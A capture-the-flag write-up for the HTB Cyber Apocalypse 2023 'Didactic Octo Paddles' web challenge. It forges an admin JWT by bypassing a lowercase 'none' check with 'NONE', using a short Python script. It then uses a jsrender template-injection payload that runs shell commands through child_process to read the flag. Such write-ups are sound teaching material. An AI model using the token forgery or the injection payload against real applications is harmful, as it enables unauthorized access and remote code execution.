Home CyberApocalypse2023 - Didactic Octo Paddles - Writeup
Post
Cancel

CyberApocalypse2023 - Didactic Octo Paddles - Writeup

You have been hired by the Intergalactic Ministry of Spies to retrieve a powerful relic that is believed to be hidden within the small paddle shop, by the river. You must hack into the paddle shop’s system to obtain information on the relic’s location. Your ultimate challenge is to shut down the parasitic alien vessels and save humanity from certain destruction by retrieving the relic hidden within the Didactic Octo Paddles shop.

Looking around

The website we get to explore is a NodeJS application. Let’s start by registering a new user.

pic-1

Once logged in, we are given a JWT token that decodes to:

1
{ "alg": "HS256", "typ": "JWT"} {"id": 2, "iat": 1679790190, "exp": 1679793790 }

Nothing suspicious here, really, though this token will play a key role later on in this challenge.

Other than that, we can add and remove items from the cart:

pic-2

Again, nothing too interesting. At this point we have a basic idea of how the website works. Let’s take a look at the code.

JWT Authentication

The application uses two types of middleware functions to process requests before it returns a route:

  • AuthMiddleware is used for all cart and shopping related routes,
  • AdminMiddleware is used for /admin route.

Now, AuthMiddleware is a simple jwt.verify() operation so there is not much we can do here.

However, AdminMiddleware looks rather interesting:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const AdminMiddleware = async (req, res, next) => {
    try {
        const sessionCookie = req.cookies.session;
        if (!sessionCookie) {
            return res.redirect("/login");
        }
        const decoded = jwt.decode(sessionCookie, { complete: true });

        if (decoded.header.alg == 'none') {
            return res.redirect("/login");
        } 
        else if (decoded.header.alg == "HS256") {
            const user = jwt.verify(sessionCookie, tokenKey, {
                algorithms: [decoded.header.alg],
            });
            if (
                !(await db.Users.findOne({
                    where: { id: user.id, username: "admin" },
                }))
            ) {
                return res.status(403).send("You are not an admin");
            }
        } 
        else {
            const user = jwt.verify(sessionCookie, null, {
                algorithms: [decoded.header.alg],
            });
            if (
                !(await db.Users.findOne({
                    where: { id: user.id, username: "admin" },
                }))
            ) {
                return res
                    .status(403)
                    .send({ message: "You are not an admin" });
            }
        }
    } catch (err) {
        return res.redirect("/login");
    }
    next();
};

Let’s break it down.

1
2
3
if (decoded.header.alg == 'none') {
    return res.redirect("/login");
} 

JWT token header contains alg parameter which specifies the algorithm used to verify the signature of the token. However, JWT also has a special type of “algorithm” - none - which means that the tokens are unsigned and so there is no need for a token to have a signature. Obviously, this is a major security risk - you can’t verify a token without the signature. Good thing the application forbids that!

1
2
3
4
5
6
7
8
9
10
11
12
 else if (decoded.header.alg == "HS256") {
    const user = jwt.verify(sessionCookie, tokenKey, {
        algorithms: [decoded.header.alg],
    });
    if (
        !(await db.Users.findOne({
            where: { id: user.id, username: "admin" },
        }))
    ) {
        return res.status(403).send("You are not an admin");
    }
} 

If the algorithm is set to HS256, the application uses it to verify the signature and then queries user’s id to find admin user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
else {
    const user = jwt.verify(sessionCookie, null, {
        algorithms: [decoded.header.alg],
    });
    if (
        !(await db.Users.findOne({
            where: { id: user.id, username: "admin" },
        }))
    ) {
        return res
            .status(403)
            .send({ message: "You are not an admin" });
    }
}

Finally, if any other algorithm is provided in the JWT header, it is directly used to verify the token and query admin user as before.

Bypassing algorithm restrictions

The trick here is to bypass the none algortihm check. This would force the application to use none algorithm to “verify” the signature - in practice, it would simply not check the signature at all, meaning we could forge any token we want!

Note that the first if checks for "none" string only, so if we used None or NONE, it would fail. Let’s modify our token then:

1
{ "alg": "NONE", "typ": "JWT"} {"id": 1, "iat": 1679790190, "exp": 1679793790 }

Notice how id is set to 1. When we first registerd, we were given the id of 2, so it is safe to assume admin user has the first one.

Now we have to base64 encode the token. Here is a short script to do it it in python:

1
2
3
4
5
6
7
8
9
from base64 import urlsafe_b64encode

header = '{ "alg": "NONE", "typ": "JWT"}'
payload = '{"id": 1,"iat": 1679790190,"exp": 1679793790}'

token = urlsafe_b64encode(header.encode()).decode() + "." + urlsafe_b64encode(payload.encode()).decode() + "." 
print(token)
# eyAiYWxnIjogIk5PTkUiLCAidHlwIjogIkpXVCJ9.eyJpZCI6IDEsImlhdCI6IDE2Nzk3OTAxOTAsImV4cCI6IDE2Nzk3OTM3OTB9.

At the topic of JWT token, I really recommend trying jwt-tool! You can run it with -T flag to change id to 1 and then with -X a to perform none attack.

Anyhow, once we change the token value, we can finally access /admin route:

pic-2

Admin panel

A quick look at /admin route code tells us it uses jsrender to render all active users on the screen.

1
2
3
4
5
6
7
8
9
10
11
12
13
router.get("/admin", AdminMiddleware, async (req, res) => {
    try {
        const users = await db.Users.findAll();
        const usernames = users.map((user) => user.username);

        res.render("admin", {
            users: jsrender.templates(`${usernames}`).render(),
        });
    } catch (error) {
        console.error(error);
        res.status(500).send("Something went wrong!");
    }
});

Whenever an application is using some type of templating engine, it is worth checking for SSTI (Server Side Template Injection). A quick google tells us jsrender templating format is {{:<code>}} Let’s try register the following user:

pic-2

Now onto the admin panel:

pic-2

Success! From here, it’s only a matter of payload:

1
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()")()}}

And we got the flag:

pic-2

HTB{Pr3_C0MP111N6_W17H0U7_P4DD13804rD1N6_5K1115}

This post is licensed under CC BY 4.0 by the author.